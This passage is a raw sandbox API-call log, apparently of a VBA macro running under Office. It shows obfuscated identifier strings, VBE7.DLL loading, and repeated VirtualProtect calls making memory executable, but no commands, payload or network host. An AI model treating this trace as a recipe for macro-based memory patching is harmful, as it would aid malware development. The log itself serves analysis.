_Dst=0xf5d3e14) returned 0xf5d3e14 [0099.291] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.292] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.292] memcpy (in: _Dst=0xcf94f48, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.292] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0972, cbMultiByte=7, lpWideCharStr=0x197658, cchWideChar=6 | out: lpWideCharStr="Value") returned 0 [0099.292] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.292] memcpy (in: _Dst=0xcf94f48, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a08, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.293] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2cca, cbMultiByte=7, lpWideCharStr=0x197844, cchWideChar=8 | out: lpWideCharStr="VarPtr") returned 7 [0099.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2cd6, cbMultiByte=7, lpWideCharStr=0x1978a4, cchWideChar=8 | out: lpWideCharStr="VarPtr") returned 7 [0099.295] CRetailMalloc_Realloc () returned 0xcb0d158 [0099.295] CRetailMalloc_Realloc () returned 0xc94ec98 [0099.297] CRetailMalloc_Realloc () returned 0xc8a59a0 [0099.298] CRetailMalloc_Realloc () returned 0xc83aaa8 [0099.298] CRetailMalloc_Realloc () returned 0xcb18628 [0099.298] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.298] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.298] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.298] memcpy (in: _Dst=0xcf94f50, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.298] memcpy (in: _Dst=0xcf94f54, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0099.298] memcpy (in: _Dst=0xcf94f54, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0099.299] CRetailMalloc_Realloc () returned 0xc8afb20 [0099.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8de4, cbMultiByte=11, lpWideCharStr=0x11443be6, cchWideChar=24 | out: lpWideCharStr="tBMGa1xAHXb") returned 11 [0099.299] memcpy (in: _Dst=0xf5d3e34, _Src=0x11443be2, _Size=0x1c | out: _Dst=0xf5d3e34) returned 0xf5d3e34 [0099.299] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.299] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8dfa, cbMultiByte=12, lpWideCharStr=0x11443f9e, cchWideChar=26 | out: lpWideCharStr="WTLDU9FnjbYG") returned 12 [0099.300] memcpy (in: _Dst=0xf5d3e54, _Src=0x11443f9a, _Size=0x1e | out: _Dst=0xf5d3e54) returned 0xf5d3e54 [0099.300] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.301] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.301] memcpy (in: _Dst=0xcf94f50, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.301] memcpy (in: _Dst=0xcf94f50, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.302] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.302] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.302] memcpy (in: _Dst=0xcf94f50, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.302] memcpy (in: _Dst=0xcf94f54, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0099.302] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.302] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.303] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.303] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8e5c, cbMultiByte=12, lpWideCharStr=0x11451708, cchWideChar=26 | out: lpWideCharStr="fOPfEGMIdzSh") returned 12 [0099.303] memcpy (in: _Dst=0xf5d3e78, _Src=0x11451704, _Size=0x1e | out: _Dst=0xf5d3e78) returned 0xf5d3e78 [0099.303] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.303] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.303] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.304] memcpy (in: _Dst=0xcf94f4c, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.304] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0a4e, cbMultiByte=8, lpWideCharStr=0x197658, cchWideChar=7 | out: lpWideCharStr="Remove") returned 0 [0099.304] CRetailMalloc_Alloc () returned 0xcb23348 [0099.304] wcscpy_s (in: _Destination=0xcb2335c, _SizeInWords=0x7, _Source="Remove" | out: _Destination="Remove") returned 0x0 [0099.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8e84, cbMultiByte=9, lpWideCharStr=0x11452282, cchWideChar=20 | out: lpWideCharStr="mftKV8ory") returned 9 [0099.305] memcpy (in: _Dst=0xcb23370, _Src=0x1145227e, _Size=0x18 | out: _Dst=0xcb23370) returned 0xcb23370 [0099.305] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.305] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.305] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.305] memcpy (in: _Dst=0xcf94f4c, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.305] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0a4e, cbMultiByte=8, lpWideCharStr=0x197658, cchWideChar=7 | out: lpWideCharStr="Remove") returned 0 [0099.305] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.306] memcpy (in: _Dst=0xcf94f4c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.306] CRetailMalloc_Alloc () returned 0xcb4c790 [0099.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0099.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0099.313] memcpy (in: _Dst=0xcb4792c, _Src=0x197ac4, _Size=0x18 | out: _Dst=0xcb4792c) returned 0xcb4792c [0099.313] CRetailMalloc_Realloc () returned 0xcb476c0 [0099.313] CRetailMalloc_Free () returned 0x1 [0099.314] GetCurrentProcess () returned 0xffffffff [0099.314] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.314] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.315] GetCurrentProcess () returned 0xffffffff [0099.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.315] GetCurrentProcess () returned 0xffffffff [0099.315] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.315] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.316] GetCurrentProcess () returned 0xffffffff [0099.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.316] GetCurrentProcess () returned 0xffffffff [0099.316] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.316] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.317] GetCurrentProcess () returned 0xffffffff [0099.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.317] GetCurrentProcess () returned 0xffffffff [0099.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.317] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.317] GetCurrentProcess () returned 0xffffffff [0099.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.317] GetCurrentProcess () returned 0xffffffff [0099.317] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.317] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.318] GetCurrentProcess () returned 0xffffffff [0099.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.318] GetCurrentProcess () returned 0xffffffff [0099.318] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.318] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.319] GetCurrentProcess () returned 0xffffffff [0099.319] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.319] GetCurrentProcess () returned 0xffffffff [0099.319] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.319] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.320] GetCurrentProcess () returned 0xffffffff [0099.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.320] GetCurrentProcess () returned 0xffffffff [0099.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.320] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.320] GetCurrentProcess () returned 0xffffffff [0099.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.320] GetCurrentProcess () returned 0xffffffff [0099.320] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.320] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.321] GetCurrentProcess () returned 0xffffffff [0099.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.321] GetCurrentProcess () returned 0xffffffff [0099.321] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.321] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.322] GetCurrentProcess () returned 0xffffffff [0099.322] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.322] GetCurrentProcess () returned 0xffffffff [0099.383] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.383] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.384] GetCurrentProcess () returned 0xffffffff [0099.384] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.384] GetCurrentProcess () returned 0xffffffff [0099.384] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.384] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.385] GetCurrentProcess () returned 0xffffffff [0099.385] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.385] GetCurrentProcess () returned 0xffffffff [0099.385] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.385] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.386] GetCurrentProcess () returned 0xffffffff [0099.386] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.386] GetCurrentProcess () returned 0xffffffff [0099.386] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.386] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.386] GetCurrentProcess () returned 0xffffffff [0099.386] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.386] GetCurrentProcess () returned 0xffffffff [0099.386] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.386] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.387] GetCurrentProcess () returned 0xffffffff [0099.387] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.387] GetCurrentProcess () returned 0xffffffff [0099.387] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.387] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.387] GetCurrentProcess () returned 0xffffffff [0099.388] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.388] GetCurrentProcess () returned 0xffffffff [0099.388] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.388] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.388] GetCurrentProcess () returned 0xffffffff [0099.388] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.388] GetCurrentProcess () returned 0xffffffff [0099.388] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.388] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.389] GetCurrentProcess () returned 0xffffffff [0099.389] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.389] GetCurrentProcess () returned 0xffffffff [0099.389] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.389] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.390] GetCurrentProcess () returned 0xffffffff [0099.390] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.390] GetCurrentProcess () returned 0xffffffff [0099.390] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.390] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.390] GetCurrentProcess () returned 0xffffffff [0099.390] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.390] GetCurrentProcess () returned 0xffffffff [0099.390] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.390] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.391] GetCurrentProcess () returned 0xffffffff [0099.391] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.391] GetCurrentProcess () returned 0xffffffff [0099.391] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.391] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.392] GetCurrentProcess () returned 0xffffffff [0099.392] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.392] GetCurrentProcess () returned 0xffffffff [0099.392] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.392] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.392] GetCurrentProcess () returned 0xffffffff [0099.392] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.392] GetCurrentProcess () returned 0xffffffff [0099.392] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.392] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.393] GetCurrentProcess () returned 0xffffffff [0099.393] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.393] GetCurrentProcess () returned 0xffffffff [0099.393] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.393] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.394] GetCurrentProcess () returned 0xffffffff [0099.394] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.394] GetCurrentProcess () returned 0xffffffff [0099.394] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.394] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.394] GetCurrentProcess () returned 0xffffffff [0099.394] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.394] GetCurrentProcess () returned 0xffffffff [0099.394] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.394] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.395] GetCurrentProcess () returned 0xffffffff [0099.395] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.395] GetCurrentProcess () returned 0xffffffff [0099.395] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.395] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.395] GetCurrentProcess () returned 0xffffffff [0099.395] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.395] GetCurrentProcess () returned 0xffffffff [0099.395] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.395] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.396] GetCurrentProcess () returned 0xffffffff [0099.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.396] GetCurrentProcess () returned 0xffffffff [0099.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.396] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.396] GetCurrentProcess () returned 0xffffffff [0099.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.396] GetCurrentProcess () returned 0xffffffff [0099.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.396] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0099.397] GetCurrentProcess () returned 0xffffffff [0099.397] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.397] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.402] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0099.402] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0099.403] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.403] GetProcAddress (hModule=0x693e0000, lpProcName=0x284) returned 0x69415c5c [0099.403] GetCurrentProcess () returned 0xffffffff [0099.403] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d346c, dwSize=0x19) returned 1 [0099.403] VirtualProtect (in: lpAddress=0xf5d346c, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x4) returned 1 [0099.404] GetCurrentProcess () returned 0xffffffff [0099.404] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf37c8, dwSize=0x19) returned 1 [0099.404] VirtualProtect (in: lpAddress=0xcaf37c8, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x40) returned 1 [0099.405] GetCurrentProcess () returned 0xffffffff [0099.405] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3820, dwSize=0x19) returned 1 [0099.405] VirtualProtect (in: lpAddress=0xcaf3820, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x40) returned 1 [0099.406] GetAsyncKeyState (vKey=3) returned 0 [0099.406] CRetailMalloc_Alloc () returned 0xcb479a0 [0099.407] memcpy (in: _Dst=0xcf94f48, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.407] memcpy (in: _Dst=0xcb479c0, _Src=0x197944, _Size=0x18 | out: _Dst=0xcb479c0) returned 0xcb479c0 [0099.407] CRetailMalloc_Realloc () returned 0xcb479a0 [0099.407] CRetailMalloc_Free () returned 0x1 [0099.407] GetCurrentProcess () returned 0xffffffff [0099.407] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.407] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.408] GetCurrentProcess () returned 0xffffffff [0099.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.408] GetCurrentProcess () returned 0xffffffff [0099.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.408] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.409] GetCurrentProcess () returned 0xffffffff 